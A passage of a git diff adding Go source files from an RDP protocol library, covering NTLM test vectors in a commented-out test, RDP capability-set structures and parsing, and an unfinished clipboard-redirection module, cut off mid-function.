a/pkg/grdp/protocol/nla/ntlm_test.go b/pkg/grdp/protocol/nla/ntlm_test.go new file mode 100644 index 0000000..dab06ea --- /dev/null +++ b/pkg/grdp/protocol/nla/ntlm_test.go @@ -0,0 +1,53 @@ +package nla_test + +//func TestNewNegotiateMessage(t *testing.T) { +// ntlm := nla.NewNTLMv2("", "", "") +// negoMsg := ntlm.GetNegotiateMessage() +// buff := &bytes.Buffer{} +// struc.Pack(buff, negoMsg) +// +// result := hex.EncodeToString(buff.Bytes()) +// expected := "4e544c4d535350000100000035820860000000000000000000000000000000000000000000000000" +// +// if result != expected { +// t.Error(result, " not equals to", expected) +// } +//} +// +//func TestNTLMv2_ComputeResponse(t *testing.T) { +// ntlm := nla.NewNTLMv2("", "", "") +// +// ResponseKeyNT, _ := hex.DecodeString("39e32c766260586a9036f1ceb04c3007") +// ResponseKeyLM, _ := hex.DecodeString("39e32c766260586a9036f1ceb04c3007") +// ServerChallenge, _ := hex.DecodeString("adcb9d1c8d4a5ed8") +// ClienChallenge, _ := hex.DecodeString("1a78bed8e5d5efa7") +// Timestamp, _ := hex.DecodeString("a02f44f01267d501") +// ServerName, _ := hex.DecodeString("02001e00570049004e002d00460037005200410041004d004100500034004a00430001001e00570049004e002d00460037005200410041004d004100500034004a00430004001e00570049004e002d00460037005200410041004d004100500034004a00430003001e00570049004e002d00460037005200410041004d004100500034004a00430007000800a02f44f01267d50100000000") +// +// NtChallengeResponse, LmChallengeResponse, SessionBaseKey := ntlm.ComputeResponse(ResponseKeyNT, ResponseKeyLM, ServerChallenge, ClienChallenge, Timestamp, ServerName) +// +// ntChallRespExpected := "4e7316531937d2fc91e7230853844b890101000000000000a02f44f01267d5011a78bed8e5d5efa70000000002001e00570049004e002d00460037005200410041004d004100500034004a00430001001e00570049004e002d00460037005200410041004d004100500034004a00430004001e00570049004e002d00460037005200410041004d004100500034004a00430003001e00570049004e002d00460037005200410041004d004100500034004a00430007000800a02f44f01267d50100000000" +// lmChallRespExpected := "d4dc6edc0c37dd70f69b5c4f05a615661a78bed8e5d5efa7" +// sessBaseKeyExpected := "034009be89a0507b2bd6d28e966e1dab" +// +// if hex.EncodeToString(NtChallengeResponse) != ntChallRespExpected { +// t.Error("NtChallengeResponse incorrect") +// } +// +// if hex.EncodeToString(LmChallengeResponse) != lmChallRespExpected { +// t.Error("LmChallengeResponse incorrect") +// } +// +// if hex.EncodeToString(SessionBaseKey) != sessBaseKeyExpected { +// t.Error("SessionBaseKey incorrect") +// } +//} +// +//func TestSIGNKEY(t *testing.T) { +// exportedSessionKey, _ := hex.DecodeString("be32c3c56ea6683200a35329d67880c3") +// result := hex.EncodeToString(nla.SIGNKEY(exportedSessionKey, true)) +// expected := "79b4f9a4113230f378a0af99f784adae" +// if result != expected { +// t.Error(result, "not equal to", expected) +// } +//} diff --git a/pkg/grdp/protocol/pdu/caps.go b/pkg/grdp/protocol/pdu/caps.go new file mode 100644 index 0000000..06fa4cd --- /dev/null +++ b/pkg/grdp/protocol/pdu/caps.go @@ -0,0 +1,656 @@ +package pdu + +import ( + "bytes" + "encoding/hex" + "errors" + "fmt" + "io" + + "Yasso/pkg/grdp/glog" + + "Yasso/pkg/grdp/core" + "Yasso/pkg/grdp/protocol/t125/gcc" + "github.com/lunixbochs/struc" +) + +type CapsType uint16 + +const ( + CAPSTYPE_GENERAL CapsType = 0x0001 + CAPSTYPE_BITMAP = 0x0002 + CAPSTYPE_ORDER = 0x0003 + CAPSTYPE_BITMAPCACHE = 0x0004 + CAPSTYPE_CONTROL = 0x0005 + CAPSTYPE_ACTIVATION = 0x0007 + CAPSTYPE_POINTER = 0x0008 + CAPSTYPE_SHARE = 0x0009 + CAPSTYPE_COLORCACHE = 0x000A + CAPSTYPE_SOUND = 0x000C + CAPSTYPE_INPUT = 0x000D + CAPSTYPE_FONT = 0x000E + CAPSTYPE_BRUSH = 0x000F + CAPSTYPE_GLYPHCACHE = 0x0010 + CAPSTYPE_OFFSCREENCACHE = 0x0011 + CAPSTYPE_BITMAPCACHE_HOSTSUPPORT = 0x0012 + CAPSTYPE_BITMAPCACHE_REV2 = 0x0013 + CAPSTYPE_VIRTUALCHANNEL = 0x0014 + CAPSTYPE_DRAWNINEGRIDCACHE = 0x0015 + CAPSTYPE_DRAWGDIPLUS = 0x0016 + CAPSTYPE_RAIL = 0x0017 + CAPSTYPE_WINDOW = 0x0018 + CAPSETTYPE_COMPDESK = 0x0019 + CAPSETTYPE_MULTIFRAGMENTUPDATE = 0x001A + CAPSETTYPE_LARGE_POINTER = 0x001B + CAPSETTYPE_SURFACE_COMMANDS = 0x001C + CAPSETTYPE_BITMAP_CODECS = 0x001D + CAPSSETTYPE_FRAME_ACKNOWLEDGE = 0x001E +) + +type MajorType uint16 + +const ( + OSMAJORTYPE_UNSPECIFIED MajorType = 0x0000 + OSMAJORTYPE_WINDOWS = 0x0001 + OSMAJORTYPE_OS2 = 0x0002 + OSMAJORTYPE_MACINTOSH = 0x0003 + OSMAJORTYPE_UNIX = 0x0004 + OSMAJORTYPE_IOS = 0x0005 + OSMAJORTYPE_OSX = 0x0006 + OSMAJORTYPE_ANDROID = 0x0007 +) + +type MinorType uint16 + +const ( + OSMINORTYPE_UNSPECIFIED MinorType = 0x0000 + OSMINORTYPE_WINDOWS_31X = 0x0001 + OSMINORTYPE_WINDOWS_95 = 0x0002 + OSMINORTYPE_WINDOWS_NT = 0x0003 + OSMINORTYPE_OS2_V21 = 0x0004 + OSMINORTYPE_POWER_PC = 0x0005 + OSMINORTYPE_MACINTOSH = 0x0006 + OSMINORTYPE_NATIVE_XSERVER = 0x0007 + OSMINORTYPE_PSEUDO_XSERVER = 0x0008 + OSMINORTYPE_WINDOWS_RT = 0x0009 +) + +const ( + FASTPATH_OUTPUT_SUPPORTED uint16 = 0x0001 + NO_BITMAP_COMPRESSION_HDR = 0x0400 + LONG_CREDENTIALS_SUPPORTED = 0x0004 + AUTORECONNECT_SUPPORTED = 0x0008 + ENC_SALTED_CHECKSUM = 0x0010 +) + +type OrderFlag uint16 + +const ( + NEGOTIATEORDERSUPPORT OrderFlag = 0x0002 + ZEROBOUNDSDELTASSUPPORT = 0x0008 + COLORINDEXSUPPORT = 0x0020 + SOLIDPATTERNBRUSHONLY = 0x0040 + ORDERFLAGS_EXTRA_FLAGS = 0x0080 +) + +/** + * @see http://msdn.microsoft.com/en-us/library/cc240556.aspx + */ +type Order uint8 + +const ( + TS_NEG_DSTBLT_INDEX Order = 0x00 + TS_NEG_PATBLT_INDEX = 0x01 + TS_NEG_SCRBLT_INDEX = 0x02 + TS_NEG_MEMBLT_INDEX = 0x03 + TS_NEG_MEM3BLT_INDEX = 0x04 + TS_NEG_DRAWNINEGRID_INDEX = 0x07 + TS_NEG_LINETO_INDEX = 0x08 + TS_NEG_MULTI_DRAWNINEGRID_INDEX = 0x09 + TS_NEG_SAVEBITMAP_INDEX = 0x0B + TS_NEG_MULTIDSTBLT_INDEX = 0x0F + TS_NEG_MULTIPATBLT_INDEX = 0x10 + TS_NEG_MULTISCRBLT_INDEX = 0x11 + TS_NEG_MULTIOPAQUERECT_INDEX = 0x12 + TS_NEG_FAST_INDEX_INDEX = 0x13 + TS_NEG_POLYGON_SC_INDEX = 0x14 + TS_NEG_POLYGON_CB_INDEX = 0x15 + TS_NEG_POLYLINE_INDEX = 0x16 + TS_NEG_FAST_GLYPH_INDEX = 0x18 + TS_NEG_ELLIPSE_SC_INDEX = 0x19 + TS_NEG_ELLIPSE_CB_INDEX = 0x1A + TS_NEG_INDEX_INDEX = 0x1B +) + +type OrderEx uint16 + +const ( + ORDERFLAGS_EX_CACHE_BITMAP_REV3_SUPPORT OrderEx = 0x0002 + ORDERFLAGS_EX_ALTSEC_FRAME_MARKER_SUPPORT = 0x0004 +) + +/** + * @see http://msdn.microsoft.com/en-us/library/cc240563.aspx + */ + +const ( + INPUT_FLAG_SCANCODES uint16 = 0x0001 + INPUT_FLAG_MOUSEX = 0x0004 + INPUT_FLAG_FASTPATH_INPUT = 0x0008 + INPUT_FLAG_UNICODE = 0x0010 + INPUT_FLAG_FASTPATH_INPUT2 = 0x0020 + INPUT_FLAG_UNUSED1 = 0x0040 + INPUT_FLAG_UNUSED2 = 0x0080 + INPUT_FLAG_MOUSE_HWHEEL = 0x0100 +) + +/** + * @see http://msdn.microsoft.com/en-us/library/cc240564.aspx + */ +type BrushSupport uint32 + +const ( + BRUSH_DEFAULT BrushSupport = 0x00000000 + BRUSH_COLOR_8x8 = 0x00000001 + BRUSH_COLOR_FULL = 0x00000002 +) + +/** + * @see http://msdn.microsoft.com/en-us/library/cc240565.aspx + */ +type GlyphSupport uint16 + +const ( + GLYPH_SUPPORT_NONE GlyphSupport = 0x0000 + GLYPH_SUPPORT_PARTIAL = 0x0001 + GLYPH_SUPPORT_FULL = 0x0002 + GLYPH_SUPPORT_ENCODE = 0x0003 +) + +/** + * @see http://msdn.microsoft.com/en-us/library/cc240550.aspx + */ +type OffscreenSupportLevel uint32 + +const ( + OSL_FALSE OffscreenSupportLevel = 0x00000000 + OSL_TRUE = 0x00000001 +) + +/** + * @see http://msdn.microsoft.com/en-us/library/cc240551.aspx + */ +type VirtualChannelCompressionFlag uint32 + +const ( + VCCAPS_NO_COMPR VirtualChannelCompressionFlag = 0x00000000 + VCCAPS_COMPR_SC = 0x00000001 + VCCAPS_COMPR_CS_8K = 0x00000002 +) + +type SoundFlag uint16 + +const ( + SOUND_NONE SoundFlag = 0x0000 + SOUND_BEEPS_FLAG = 0x0001 +) + +type RailsupportLevel uint32 + +const ( + RAIL_LEVEL_SUPPORTED = 0x00000001 + RAIL_LEVEL_DOCKED_LANGBAR_SUPPORTED = 0x00000002 + RAIL_LEVEL_SHELL_INTEGRATION_SUPPORTED = 0x00000004 + RAIL_LEVEL_LANGUAGE_IME_SYNC_SUPPORTED = 0x00000008 + RAIL_LEVEL_SERVER_TO_CLIENT_IME_SYNC_SUPPORTED = 0x00000010 + RAIL_LEVEL_HIDE_MINIMIZED_APPS_SUPPORTED = 0x00000020 + RAIL_LEVEL_WINDOW_CLOAKING_SUPPORTED = 0x00000040 + RAIL_LEVEL_HANDSHAKE_EX_SUPPORTED = 0x00000080 +) + +const ( + INPUT_EVENT_SYNC = 0x0000 + INPUT_EVENT_UNUSED = 0x0002 + INPUT_EVENT_SCANCODE = 0x0004 + INPUT_EVENT_UNICODE = 0x0005 + INPUT_EVENT_MOUSE = 0x8001 + INPUT_EVENT_MOUSEX = 0x8002 +) + +const ( + PTRFLAGS_HWHEEL = 0x0400 + PTRFLAGS_WHEEL = 0x0200 + PTRFLAGS_WHEEL_NEGATIVE = 0x0100 + WheelRotationMask = 0x01FF + PTRFLAGS_MOVE = 0x0800 + PTRFLAGS_DOWN = 0x8000 + PTRFLAGS_BUTTON1 = 0x1000 + PTRFLAGS_BUTTON2 = 0x2000 + PTRFLAGS_BUTTON3 = 0x4000 +) + +const ( + KBDFLAGS_EXTENDED = 0x0100 + KBDFLAGS_DOWN = 0x4000 + KBDFLAGS_RELEASE = 0x8000 +) + +type Capability interface { + Type() CapsType +} + +type GeneralCapability struct { + // 010018000100030000020000000015040000000000000000 + OSMajorType MajorType `struc:"little"` + OSMinorType MinorType `struc:"little"` + ProtocolVersion uint16 `struc:"little"` + Pad2octetsA uint16 `struc:"little"` + GeneralCompressionTypes uint16 `struc:"little"` + ExtraFlags uint16 `struc:"little"` + UpdateCapabilityFlag uint16 `struc:"little"` + RemoteUnshareFlag uint16 `struc:"little"` + GeneralCompressionLevel uint16 `struc:"little"` + RefreshRectSupport uint8 `struc:"little"` + SuppressOutputSupport uint8 `struc:"little"` +} + +func (*GeneralCapability) Type() CapsType { + return CAPSTYPE_GENERAL +} + +type BitmapCapability struct { + // 02001c00180001000100010000052003000000000100000001000000 + PreferredBitsPerPixel gcc.HighColor `struc:"little"` + Receive1BitPerPixel uint16 `struc:"little"` + Receive4BitsPerPixel uint16 `struc:"little"` + Receive8BitsPerPixel uint16 `struc:"little"` + DesktopWidth uint16 `struc:"little"` + DesktopHeight uint16 `struc:"little"` + Pad2octets uint16 `struc:"little"` + DesktopResizeFlag uint16 `struc:"little"` + BitmapCompressionFlag uint16 `struc:"little"` + HighColorFlags uint8 `struc:"little"` + DrawingFlags uint8 `struc:"little"` + MultipleRectangleSupport uint16 `struc:"little"` + Pad2octetsB uint16 `struc:"little"` +} + +func (*BitmapCapability) Type() CapsType { + return CAPSTYPE_BITMAP +} + +type BitmapCacheCapability struct { + // 04002800000000000000000000000000000000000000000000000000000000000000000000000000 + Pad1 uint32 `struc:"little"` + Pad2 uint32 `struc:"little"` + Pad3 uint32 `struc:"little"` + Pad4 uint32 `struc:"little"` + Pad5 uint32 `struc:"little"` + Pad6 uint32 `struc:"little"` + Cache0Entries uint16 `struc:"little"` + Cache0MaximumCellSize uint16 `struc:"little"` + Cache1Entries uint16 `struc:"little"` + Cache1MaximumCellSize uint16 `struc:"little"` + Cache2Entries uint16 `struc:"little"` + Cache2MaximumCellSize uint16 `struc:"little"` +} + +func (*BitmapCacheCapability) Type() CapsType { + return CAPSTYPE_BITMAPCACHE +} + +type OrderCapability struct { + // 030058000000000000000000000000000000000000000000010014000000010000000a0000000000000000000000000000000000000000000000000000000000000000000000000000000000008403000000000000000000 + TerminalDescriptor [16]byte + Pad4octetsA uint32 `struc:"little"` + DesktopSaveXGranularity uint16 `struc:"little"` + DesktopSaveYGranularity uint16 `struc:"little"` + Pad2octetsA uint16 `struc:"little"` + MaximumOrderLevel uint16 `struc:"little"` + NumberFonts uint16 `struc:"little"` + OrderFlags OrderFlag `struc:"little"` + OrderSupport [32]byte + TextFlags uint16 `struc:"little"` + OrderSupportExFlags uint16 `struc:"little"` + Pad4octetsB uint32 `struc:"little"` + DesktopSaveSize uint32 `struc:"little"` + Pad2octetsC uint16 `struc:"little"` + Pad2octetsD uint16 `struc:"little"` + TextANSICodePage uint16 `struc:"little"` + Pad2octetsE uint16 `struc:"little"` +} + +func (*OrderCapability) Type() CapsType { + return CAPSTYPE_ORDER +} + +type PointerCapability struct { + ColorPointerFlag uint16 `struc:"little"` + ColorPointerCacheSize uint16 `struc:"little"` + // old version of rdp doesn't support ... + // PointerCacheSize uint16 `struc:"little"` // only server need +} + +func (*PointerCapability) Type() CapsType { + return CAPSTYPE_POINTER +} + +type InputCapability struct { + // 0d005c001500000009040000040000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000c000000 + Flags uint16 `struc:"little"` + Pad2octetsA uint16 `struc:"little"` + // same value as gcc.ClientCoreSettings.kbdLayout + KeyboardLayout gcc.KeyboardLayout `struc:"little"` + // same value as gcc.ClientCoreSettings.keyboardType + KeyboardType uint32 `struc:"little"` + // same value as gcc.ClientCoreSettings.keyboardSubType + KeyboardSubType uint32 `struc:"little"` + // same value as gcc.ClientCoreSettings.keyboardFnKeys + KeyboardFunctionKey uint32 `struc:"little"` + // same value as gcc.ClientCoreSettingrrs.imeFileName + ImeFileName [64]byte + //need add 0c000000 in the end +} + +func (*InputCapability) Type() CapsType { + return CAPSTYPE_INPUT +} + +type BrushCapability struct { + // 0f00080000000000 + SupportLevel BrushSupport `struc:"little"` +} + +func (*BrushCapability) Type() CapsType { + return CAPSTYPE_BRUSH +} + +type cacheEntry struct { + Entries uint16 `struc:"little"` + MaximumCellSize uint16 `struc:"little"` +} + +type GlyphCapability struct { + // 10003400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 + GlyphCache [10]cacheEntry `struc:"little"` + FragCache uint32 `struc:"little"` + SupportLevel GlyphSupport `struc:"little"` + Pad2octets uint16 `struc:"little"` +} + +func (*GlyphCapability) Type() CapsType { + return CAPSTYPE_GLYPHCACHE +} + +type OffscreenBitmapCacheCapability struct { + // 11000c000000000000000000 + SupportLevel OffscreenSupportLevel `struc:"little"` + CacheSize uint16 `struc:"little"` + CacheEntries uint16 `struc:"little"` +} + +func (*OffscreenBitmapCacheCapability) Type() CapsType { + return CAPSTYPE_OFFSCREENCACHE +} + +type VirtualChannelCapability struct { + // 14000c000000000000000000 + Flags VirtualChannelCompressionFlag `struc:"little"` + VCChunkSize uint32 `struc:"little"` // optional +} + +func (*VirtualChannelCapability) Type() CapsType { + return CAPSTYPE_VIRTUALCHANNEL +} + +type SoundCapability struct { + // 0c00080000000000 + Flags SoundFlag `struc:"little"` + Pad2octets uint16 `struc:"little"` +} + +func (*SoundCapability) Type() CapsType { + return CAPSTYPE_SOUND +} + +type ControlCapability struct { + ControlFlags uint16 `struc:"little"` + RemoteDetachFlag uint16 `struc:"little"` + ControlInterest uint16 `struc:"little"` + DetachInterest uint16 `struc:"little"` +} + +func (*ControlCapability) Type() CapsType { + return CAPSTYPE_CONTROL +} + +type WindowActivationCapability struct { + HelpKeyFlag uint16 `struc:"little"` + HelpKeyIndexFlag uint16 `struc:"little"` + HelpExtendedKeyFlag uint16 `struc:"little"` + WindowManagerKeyFlag uint16 `struc:"little"` +} + +func (*WindowActivationCapability) Type() CapsType { + return CAPSTYPE_ACTIVATION +} + +type FontCapability struct { + SupportFlags uint16 `struc:"little"` + Pad2octets uint16 `struc:"little"` +} + +func (*FontCapability) Type() CapsType { + return CAPSTYPE_FONT +} + +type ColorCacheCapability struct { + CacheSize uint16 `struc:"little"` + Pad2octets uint16 `struc:"little"` +} + +func (*ColorCacheCapability) Type() CapsType { + return CAPSTYPE_COLORCACHE +} + +type ShareCapability struct { + NodeId uint16 `struc:"little"` + Pad2octets uint16 `struc:"little"` +} + +func (*ShareCapability) Type() CapsType { + return CAPSTYPE_SHARE +} + +type MultiFragmentUpdate struct { + // 1a00080000000000 + MaxRequestSize uint32 `struc:"little"` +} + +func (*MultiFragmentUpdate) Type() CapsType { + return CAPSETTYPE_MULTIFRAGMENTUPDATE +} + +// see https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpegdi/52635737-d144-4f47-9c88-b48ceaf3efb4 + +type DrawGDIPlusCapability struct { + SupportLevel uint32 + GdipVersion uint32 + CacheLevel uint32 + GdipCacheEntries [10]byte + GdipCacheChunkSize [8]byte + GdipImageCacheProperties [6]byte +} + +func (*DrawGDIPlusCapability) Type() CapsType { + return CAPSTYPE_DRAWGDIPLUS +} + +// see https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/86507fed-a0ee-4242-b802-237534a8f65e +type BitmapCodec struct { + GUID [16]byte + ID uint8 + PropertiesLength uint16 `struc:"little,sizeof=Properties"` + Properties []byte +} + +// see https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/408b1878-9f6e-4106-8329-1af42219ba6a +type BitmapCodecS struct { + Count uint8 `struc:"sizeof=Array"` + Array []BitmapCodec +} + +// see https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/17e80f50-d163-49de-a23b-fd6456aa472f +type BitmapCodecsCapability struct { + SupportedBitmapCodecs BitmapCodecS // A variable-length field containing a TS_BITMAPCODECS structure (section 2.2.7.2.10.1). +} + +func (*BitmapCodecsCapability) Type() CapsType { + return CAPSETTYPE_BITMAP_CODECS +} + +// see https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/fc05c385-46c3-42cb-9ed2-c475a3990e0b +type BitmapCacheHostSupportCapability struct { + CacheVersion uint8 + Pad1 uint8 + Pad2 uint16 +} + +func (*BitmapCacheHostSupportCapability) Type() CapsType { + return CAPSTYPE_BITMAPCACHE_HOSTSUPPORT +} + +// see https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/41323437-c753-460e-8108-495a6fdd68a8 +type LargePointerCapability struct { + SupportFlags uint16 `struc:"little"` +} + +func (*LargePointerCapability) Type() CapsType { + return CAPSETTYPE_LARGE_POINTER +} + +// see https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdperp/36a25e21-25e1-4954-aae8-09aaf6715c79 +type RemoteProgramsCapability struct { + RailSupportLevel uint32 `struc:"little"` +} + +func (*RemoteProgramsCapability) Type() CapsType { + return CAPSTYPE_RAIL +} + +// see https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdperp/82ec7a69-f7e3-4294-830d-666178b35d15 +type WindowListCapability struct { + WndSupportLevel uint32 `struc:"little"` + NumIconCaches uint8 + NumIconCacheEntries uint16 `struc:"little"` +} + +func (*WindowListCapability) Type() CapsType { + return CAPSTYPE_WINDOW +} + +// see https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/9132002f-f133-4a0f-ba2f-2dc48f1e7f93 +type DesktopCompositionCapability struct { + CompDeskSupportLevel uint16 `struc:"little"` +} + +func (*DesktopCompositionCapability) Type() CapsType { + return CAPSETTYPE_COMPDESK +} + +// see https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/aa953018-c0a8-4761-bb12-86586c2cd56a +type SurfaceCommandsCapability struct { + CmdFlags uint32 `struc:"little"` + Reserved uint32 `struc:"little"` +} + +func (*SurfaceCommandsCapability) Type() CapsType { + return CAPSETTYPE_SURFACE_COMMANDS +} + +func readCapability(r io.Reader) (Capability, error) { + capType, err := core.ReadUint16LE(r) + if err != nil { + return nil, err + } + capLen, err := core.ReadUint16LE(r) + if err != nil { + return nil, err + } + if int(capLen)-4 <= 0 { + return nil, err + } + + capBytes, err := core.ReadBytes(int(capLen)-4, r) + if err != nil { + return nil, err + } + capReader := bytes.NewReader(capBytes) + var c Capability + glog.Debugf("Capability type 0x%04x", capType) + switch CapsType(capType) { + case CAPSTYPE_GENERAL: + c = &GeneralCapability{} + case CAPSTYPE_BITMAP: + c = &BitmapCapability{} + case CAPSTYPE_ORDER: + c = &OrderCapability{} + case CAPSTYPE_BITMAPCACHE: + c = &BitmapCacheCapability{} + case CAPSTYPE_POINTER: + c = &PointerCapability{} + case CAPSTYPE_INPUT: + c = &InputCapability{} + case CAPSTYPE_BRUSH: + c = &BrushCapability{} + case CAPSTYPE_GLYPHCACHE: + c = &GlyphCapability{} + case CAPSTYPE_OFFSCREENCACHE: + c = &OffscreenBitmapCacheCapability{} + case CAPSTYPE_VIRTUALCHANNEL: + c = &VirtualChannelCapability{} + case CAPSTYPE_SOUND: + c = &SoundCapability{} + case CAPSTYPE_CONTROL: + c = &ControlCapability{} + case CAPSTYPE_ACTIVATION: + c = &WindowActivationCapability{} + case CAPSTYPE_FONT: + c = &FontCapability{} + case CAPSTYPE_COLORCACHE: + c = &ColorCacheCapability{} + case CAPSTYPE_SHARE: + c = &ShareCapability{} + case CAPSETTYPE_MULTIFRAGMENTUPDATE: + c = &MultiFragmentUpdate{} + case CAPSTYPE_DRAWGDIPLUS: + c = &DrawGDIPlusCapability{} + case CAPSETTYPE_BITMAP_CODECS: + c = &BitmapCodecsCapability{} + case CAPSTYPE_BITMAPCACHE_HOSTSUPPORT: + c = &BitmapCacheHostSupportCapability{} + case CAPSETTYPE_LARGE_POINTER: + c = &LargePointerCapability{} + case CAPSTYPE_RAIL: + c = &RemoteProgramsCapability{} + case CAPSTYPE_WINDOW: + c = &WindowListCapability{} + case CAPSETTYPE_COMPDESK: + c = &DesktopCompositionCapability{} + case CAPSETTYPE_SURFACE_COMMANDS: + c = &SurfaceCommandsCapability{} + //case CAPSSETTYPE_FRAME_ACKNOWLEDGE: + //c = + //glog.Error("CAPSSETTYPE_FRAME_ACKNOWLEDGE") + default: + err := errors.New(fmt.Sprintf("unsupported Capability type 0x%04x", capType)) + glog.Error(err) + return nil, err + } + if err := struc.Unpack(capReader, c); err != nil { + glog.Error("Capability unpack error", err, fmt.Sprintf("0x%04x", capType), hex.EncodeToString(capBytes)) + return nil, err + } + glog.Debugf("Capability: %+v", c) + return c, nil +} diff --git a/pkg/grdp/protocol/pdu/cliprdr.go b/pkg/grdp/protocol/pdu/cliprdr.go new file mode 100644 index 0000000..18b8f0f --- /dev/null +++ b/pkg/grdp/protocol/pdu/cliprdr.go @@ -0,0 +1,339 @@ +package pdu + +import ( + "bytes" + + "Yasso/pkg/grdp/core" + "Yasso/pkg/grdp/glog" +) + +/** + * Initialization Sequence\n + * Client Server\n + * | |\n + * |<----------------------Server Clipboard Capabilities PDU-----------------|\n + * |<-----------------------------Monitor Ready PDU--------------------------|\n + * |-----------------------Client Clipboard Capabilities PDU---------------->|\n + * |---------------------------Temporary Directory PDU---------------------->|\n + * |-------------------------------Format List PDU-------------------------->|\n + * |<--------------------------Format List Response PDU----------------------|\n + * + */ + +/** + * Data Transfer Sequences\n + * Shared Local\n + * Clipboard Owner Clipboard Owner\n + * | |\n + * |-------------------------------------------------------------------------|\n _ + * |-------------------------------Format List PDU-------------------------->|\n | + * |<--------------------------Format List Response PDU----------------------|\n _| Copy + * Sequence + * |<---------------------Lock Clipboard Data PDU (Optional)-----------------|\n + * |-------------------------------------------------------------------------|\n + * |-------------------------------------------------------------------------|\n _ + * |<--------------------------Format Data Request PDU-----------------------|\n | Paste + * Sequence Palette, + * |---------------------------Format Data Response PDU--------------------->|\n _| Metafile, + * File List Data + * |-------------------------------------------------------------------------|\n + * |-------------------------------------------------------------------------|\n _ + * |<------------------------Format Contents Request PDU---------------------|\n | Paste + * Sequence + * |-------------------------Format Contents Response PDU------------------->|\n _| File + * Stream Data + * |<---------------------Lock Clipboard Data PDU (Optional)-----------------|\n + * |-------------------------------------------------------------------------|\n + * + */ + +type MsgType uint16 + +const ( + CB_MONITOR_READY = 0x0001 + CB_FORMAT_LIST = 0x0002 + CB_FORMAT_LIST_RESPONSE = 0x0003 + CB_FORMAT_DATA_REQUEST = 0x0004 + CB_FORMAT_DATA_RESPONSE = 0x0005 + CB_TEMP_DIRECTORY = 0x0006 + CB_CLIP_CAPS = 0x0007 + CB_FILECONTENTS_REQUEST = 0x0008 + CB_FILECONTENTS_RESPONSE = 0x0009 + CB_LOCK_CLIPDATA = 0x000A + CB_UNLOCK_CLIPDATA = 0x000B +) + +type MsgFlags uint16 + +const ( + CB_RESPONSE_OK = 0x0001 + CB_RESPONSE_FAIL = 0x0002 + CB_ASCII_NAMES = 0x0004 +) + +type DwFlags uint32 + +const ( + FILECONTENTS_SIZE = 0x00000001 + FILECONTENTS_RANGE = 0x00000002 +) + +type CliprdrPDUHeader struct { + MsgType uint16 `struc:"little"` + MsgFlags uint16 `struc:"little"` + DataLen uint32 `struc:"little"` +} + +func NewCliprdrPDUHeader(mType, flags uint16, ln uint32) *CliprdrPDUHeader { + return &CliprdrPDUHeader{ + MsgType: mType, + MsgFlags: flags, + DataLen: ln, + } +} + +/*func (c *CliprdrPDU) serialize() []byte { + b := &bytes.Buffer{} + + return b.Bytes() +} +func (c *CliprdrPDU) SendCliprdrGeneralCapability() { + +} +func (c *CliprdrPDU) RecvCliprdrCaps() { + +} + +func (c *CliprdrPDU) RecvMonitorReady() { + +} + +func (c *CliprdrPDU) SendCliprdrFileContentsRequest() { + +} +func (c *CliprdrPDU) SendCliprdrFileContentsResponse() { + +} +func (c *CliprdrPDU) SendCliprdrClientFormatList() { + +} + +func (c *CliprdrPDU) RecvCliprdrClientFormatListResponse() { + +} +*/ +type CliprdrClient struct { + useLongFormatNames bool + streamFileClipEnabled bool + fileClipNoFilePaths bool + canLockClipData bool + hasHugeFileSupport bool +} + +func process_message(s []byte) { + r := bytes.NewReader(s) + + msgType, _ := core.ReadUint16LE(r) + flag, _ := core.ReadUint16LE(r) + length, _ := core.ReadUInt32LE(r) + + glog.Debug("cliprdr: type=%d flag=%d length=%d", msgType, flag, length) + + switch msgType { + case CB_MONITOR_READY: + //clipboard_sync(plugin->device_data); + break + case CB_FORMAT_LIST: + //clipboard_format_list(plugin->device_data, flag, + // data + 8, length); + //cliprdr_send_packet(plugin, CB_FORMAT_LIST_RESPONSE, + // CB_RESPONSE_OK, NULL, 0); + break + case CB_FORMAT_LIST_RESPONSE: + //clipboard_format_list_response(plugin->device_data, flag); + break + case CB_FORMAT_DATA_REQUEST: + //format = GET_UINT32(data, 8); + //clipboard_request_data(plugin->device_data, format); + break + case CB_FORMAT_DATA_RESPONSE: + //clipboard_handle_data(plugin->device_data, flag, + //data + 8, length); + //break; + case CB_CLIP_CAPS: + //clipboard_handle_caps(plugin->device_data, flag, + //data + 8, length); + break + default: + glog.Error("type %d not supported", msgType) + break + } + +} + +type CliprdrGeneralCapabilitySet struct { + CapabilitySetType uint16 `struc:"little"` + CapabilitySetLength uint16 `struc:"little"` + Version uint32 `struc:"little"` + GeneralFlags uint32 `struc:"little"` +} +type CliprdrCapabilitySets struct { + CapabilitySetType uint16 `struc:"little"` + LengthCapability uint16 `struc:"little,sizeof=CapabilityData"` + CapabilityData []byte `struc:"little"` +} +type CliprdrCapabilitiesPDU struct { + *CliprdrPDUHeader `struc:"little"` + CCapabilitiesSets uint16 `struc:"little"` + Pad1 uint16 `struc:"little"` + CapabilitySets CliprdrGeneralCapabilitySet `struc:"little"` +} + +type CliprdrMonitorReady struct { + *CliprdrPDUHeader `struc:"little"` +} + +type GeneralFlags uint32 + +const ( + /* CLIPRDR_GENERAL_CAPABILITY.generalFlags */ + CB_USE_LONG_FORMAT_NAMES = 0x00000002 + CB_STREAM_FILECLIP_ENABLED = 0x00000004 + CB_FILECLIP_NO_FILE_PATHS = 0x00000008 + CB_CAN_LOCK_CLIPDATA = 0x00000010 + CB_HUGE_FILE_SUPPORT_ENABLED = 0x00000020 +) + +const ( + /* CLIPRDR_GENERAL_CAPABILITY.version */ + CB_CAPS_VERSION_1 = 0x00000001 + CB_CAPS_VERSION_2 = 0x00000002 +) +const ( + CB_CAPSTYPE_GENERAL_LEN = 12 +) + +func CliprdrInit(context CliprdrClient) { + var ( + generalFlags uint32 + generalCapabilitySet CliprdrGeneralCapabilitySet + monitorReady 